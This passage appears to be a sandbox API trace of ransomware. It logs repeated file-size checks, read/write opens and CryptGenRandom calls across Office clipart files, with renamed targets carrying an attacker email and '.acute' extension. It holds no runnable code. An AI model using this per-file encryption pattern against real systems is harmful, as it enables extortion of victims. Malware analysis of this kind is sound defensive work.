(hObject=0x308) returned 1 [0275.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0275.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.050] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.050] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=14194) returned 1 [0275.050] CloseHandle (hObject=0x308) returned 1 [0275.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0275.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.051] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.051] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=37390) returned 1 [0275.051] CloseHandle (hObject=0x308) returned 1 [0275.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0275.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.051] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.051] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=15856) returned 1 [0275.051] CloseHandle (hObject=0x308) returned 1 [0275.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0275.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.052] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.052] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=18194) returned 1 [0275.052] CloseHandle (hObject=0x308) returned 1 [0275.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20 [0275.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.053] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.053] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=46814) returned 1 [0275.053] CloseHandle (hObject=0x308) returned 1 [0275.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0275.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.054] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.054] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=6068) returned 1 [0275.054] CloseHandle (hObject=0x308) returned 1 [0275.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0275.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.054] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.054] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4074) returned 1 [0275.054] CloseHandle (hObject=0x308) returned 1 [0275.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0275.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.054] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.055] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=8552) returned 1 [0275.055] CloseHandle (hObject=0x308) returned 1 [0275.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 [0275.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.055] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.055] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=8424) returned 1 [0275.055] CloseHandle (hObject=0x308) returned 1 [0275.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0275.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.055] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.055] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=10816) returned 1 [0275.055] CloseHandle (hObject=0x308) returned 1 [0275.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0275.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.056] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.056] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=7878) returned 1 [0275.056] CloseHandle (hObject=0x308) returned 1 [0275.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0275.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.056] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.057] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=11002) returned 1 [0275.057] CloseHandle (hObject=0x308) returned 1 [0275.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0275.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.057] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.057] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=16396) returned 1 [0275.057] CloseHandle (hObject=0x308) returned 1 [0275.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0275.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.057] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.058] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4796) returned 1 [0275.058] CloseHandle (hObject=0x308) returned 1 [0275.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0275.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.058] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.059] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2108) returned 1 [0275.059] CloseHandle (hObject=0x308) returned 1 [0275.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0275.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.059] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.059] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5098) returned 1 [0275.059] CloseHandle (hObject=0x308) returned 1 [0275.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0275.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.059] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.060] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=8926) returned 1 [0275.060] CloseHandle 